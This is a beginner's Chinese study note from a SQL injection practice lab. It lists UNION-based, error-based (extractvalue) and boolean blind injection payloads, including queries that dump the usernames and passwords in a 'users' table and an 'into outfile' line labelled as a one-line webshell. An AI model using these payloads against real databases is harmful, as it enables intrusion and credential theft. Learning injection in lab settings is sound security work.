简单的SQL注入学习笔记

刚刚开始入手,对于一个SQL没学明白的人来说有点痛苦,各种命令语句,我还记不住。这是我做sql靶场一到十题学的一些套路,反正难的我不会,就会一点简单的,啊,应该是弱智的题。。。QAQ

简单的SQL注入:

sql注入最关键的是解题思路,最最重要的是找注入点,就是报错的地。
select … from … where id=‘参数’ //找到注入点,可以测试‘. “ . ’).”).

?id=-1’ /不正确的值/union select 1,2,database() --+//爆库名,–+是注释
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
//查表名
?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
//查某个表的列名
?id=0’ union select 1,2,group_concat(username,0x3a,password) from users–+
//查具体的用户名跟密码,0*3a是一个符号,便于区分两者

双查询注入

?id=-1’ and extractvalue(1,concat(0x7e,database(),0x7e))–+
//concat函数里正常写语句会把数据库信息以错误提示的方式查出来
?id=-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
//列名显示不完全
?id=-1’ and extractvalue(1,concat(0x7e,(select concat(column_name) from information_schema.columns where table_name=‘users’ limit 4,1),0x7e))–+
//显示第五列列名

一句话木马

?id=1’)) union select 1,2,’’ into outfile “C:\wamp\www\sql\Less-7\test.txt”–+

布尔型盲注

我感觉是最简单但最麻烦的(我目前学到的)
单引号,id=1回显,价格单引号不回显,构造一下验证是不是布尔型payload ?id=1’ and 1=1 --+ 回显
?id=1’ and left((select database()),1)=‘s’–+//数据库名字(挨个从a到z)测试
?id=1’ and length(database())=8–+ //库名长度可使用(从1往后测试)
?id=1’ and left((select database()),8)=‘security’–+//库名

你可能感兴趣的:(笔记,sql)